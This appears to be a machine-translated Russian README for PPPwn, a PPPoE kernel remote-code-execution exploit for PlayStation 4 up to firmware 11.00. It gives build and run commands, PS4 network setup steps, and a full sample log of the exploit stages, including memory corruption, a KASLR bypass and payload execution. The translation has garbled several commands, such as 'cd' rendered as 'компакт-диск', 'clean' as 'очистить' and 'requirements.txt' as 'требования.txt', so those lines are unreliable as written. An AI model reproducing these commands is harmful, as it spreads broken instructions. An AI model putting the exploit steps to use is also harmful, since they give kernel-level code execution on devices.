PPPwn — это эксплойт удаленного выполнения кода ядра для PlayStation 4 до прошивки 11.00. Это экспериментальный эксплойт для CVE-2006-4304, о котором ответственно сообщили PlayStation.
Поддерживаемые версии:
Прошивка 7.00/7.01/7.02
ОЗ 7.50/7.51/7.55
прошивка 8.00/8.01/8.03
ОЗ 8.50/8.52
ОЗ 9.00
прошивка 9.03/9.04
ОЗ 9.50/9.51/9.60
ОЗ 10.00 / 10.01
ОЗ 10.50/10.70/10.71
ОЗ 11.00
можно добавить больше (PR приветствуются)
Эксплойт печатает PPPwned
на вашей PS4 только в качестве доказательства концепции. Для запуска Mira или аналогичных средств доморощения необходимо адаптировать полезную нагрузку stage2.bin
.
Компьютер с портом Ethernet
USB-адаптер тоже работает
Ethernet-кабель
Линукс
Вы можете использовать VirtualBox для создания виртуальной машины Linux с Bridged Adapter
в качестве сетевого адаптера для использования порта Ethernet в виртуальной машине.
Python3 и gcc установлены
На своем компьютере клонируйте репозиторий:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Измените каталог на клонированный репозиторий:
компакт-диск PPPwn
Установите требования:
sudo pip install -r требования.txt
Скомпилируйте полезные нагрузки:
make -C stage1 FW=1100 очистить && make -C stage1 FW=1100 make -C stage2 FW=1100 очистить && make -C stage2 FW=1100
Для других прошивок, например FW 9.00, укажите FW=900
.
НЕ ЗАПУСКАЙТЕ эксплойт (пока не нажимайте Enter), но подготовьте эту команду в командной строке (правильный интерфейс см. в ifconfig
):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Для других прошивок, например FW 9.00, введите --fw=900
.
На вашей PS4:
Зайдите в Settings
, а затем Network
Выберите Set Up Internet connection
и выберите Use a LAN Cable
Выберите Custom
настройка» и выберите PPPoE
для IP Address Settings
Введите что-нибудь для PPPoE User ID
и PPPoE Password
Выберите Automatic
для DNS Settings
и MTU Settings
Выберите Do Not Use
для Proxy Server
Теперь одновременно нажмите кнопку «X» на контроллере при Test Internet Connection
и кнопку «Ввод» на клавиатуре (на компьютере у вас есть готовый к запуску сценарий Python).
ВСЕГДА дожидайтесь, пока на консоли появится сообщение «Невозможно подключиться к сети: (NW-31274-7)», прежде чем повторить попытку внедрения PPPOE.
Если эксплойт не удался или PS4 выходит из строя, вы можете пропустить настройку Интернета и просто нажать Test Internet Connection
. Завершите сценарий pppwn.py
и запустите его еще раз на своем компьютере, а затем нажмите Test Internet Connection
на PS4: всегда одновременно.
Если эксплойт сработает, вы должны увидеть вывод, аналогичный приведенному ниже, и вы должны увидеть сообщение Cannot connect to network.
за которым следует PPPwned
напечатанный на вашей PS4, или наоборот.
[+] PPPwn - PPPoE RCE для PlayStation 4 от theflow [+] args: интерфейс=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] ЭТАП 0: Инициализация [*] Жду PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Целевой MAC: xx:xx:xx:xx:xx:xx [+] Исходный MAC: 07:ba:be:34:d6:ab [+] Длина файла AC cookie: 0x4e0 [*] Отправка PADO... [*] Жду ПАДРа... [*] Отправка PADS... [*] Ожидание запроса на настройку LCP... [*] Отправка LCP-конфигурации ACK... [*] Отправка запроса на настройку LCP... [*] Ожидание подтверждения настройки LCP... [*] Ожидание запроса на настройку IPCP... [*] Отправка IPCP, настройка NAK... [*] Ожидание запроса на настройку IPCP... [*] Отправка IPCP-конфигурации ACK... [*] Отправка запроса на настройку IPCP... [*] Ожидание подтверждения настройки IPCP... [*] Ожидание готовности интерфейса... [+] Целевой IPv6: fe80::2d9:d1ff:febc:83e4 [+] Уборка кучи... готово [+] ЭТАП 1: Повреждение памяти [+] Привязка к процессору 0...готово [*] Отправка вредоносного запроса на настройку LCP... [*] Ожидание запроса на настройку LCP... [*] Отправка LCP configure ACK... [*] Отправка запроса на настройку LCP... [*] Ожидание подтверждения настройки LCP... [*] Ожидание запроса на настройку IPCP... [*] Отправка IPCP, настройка NAK... [*] Ожидание запроса на настройку IPCP... [*] Отправка подтверждения конфигурации IPCP... [*] Отправка запроса на настройку IPCP... [*] Ожидание подтверждения настройки IPCP... [+] Поиск поврежденного объекта...найден fe80::0fdf:4141:4141:4141 [+] ЭТАП 2: Разгром KASLR [*] Победа над KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] ЭТАП 3: Удаленное выполнение кода [*] Отправка запроса на завершение LCP... [*] Жду PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Целевой MAC: xx:xx:xx:xx:xx:xx [+] Исходный MAC: 97:df:ea:86:ff:ff [+] Длина AC cookie: 0x511 [*] Отправка PADO... [*] Жду ПАДРа... [*] Отправка PADS... [*] Запуск выполнения кода... [*] Ожидание возобновления этапа 1... [*] Отправка PADT... [*] Жду PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] Целевой MAC: xx:xx:xx:xx:xx:xx [+] Длина файла AC cookie: 0x0 [*] Отправка PADO... [*] Жду ПАДРа... [*] Отправка PADS... [*] Ожидание запроса на настройку LCP... [*] Отправка LCP configure ACK... [*] Отправка запроса на настройку LCP... [*] Ожидание подтверждения настройки LCP... [*] Ожидание запроса на настройку IPCP... [*] Отправка IPCP, настройка NAK... [*] Ожидание запроса на настройку IPCP... [*] Отправка IPCP-конфигурации ACK... [*] Отправка запроса на настройку IPCP... [*] Ожидание подтверждения настройки IPCP... [+] ЭТАП 4: Выполнение произвольной полезной нагрузки [*] Отправка полезных данных этапа 2... [+] Готово!
Код не будет компилироваться на Apple Silicon и требует архитектуры AMD64. Существует обходной путь с использованием Docker, который создаст необходимые файлы bin. Клонируйте этот репозиторий в свою систему Mac, затем из папки репо запустите ./build-macarm.sh
. Это позволит собрать двоичные файлы для PS4 FW 1100 и поместить необходимые файлы в правильные папки. Чтобы собрать двоичные файлы для другой версии, например 900, выполните следующую команду: ./build-macarm.sh 900
. После создания скопируйте эту структуру папок в виртуальную машину Linux и выполните, как указано выше. Это было протестировано с использованием VMware Fusion 13.5.1 с гостевой виртуальной машиной Ubuntu 24.04 и хост-машиной MacOS 14.4.1.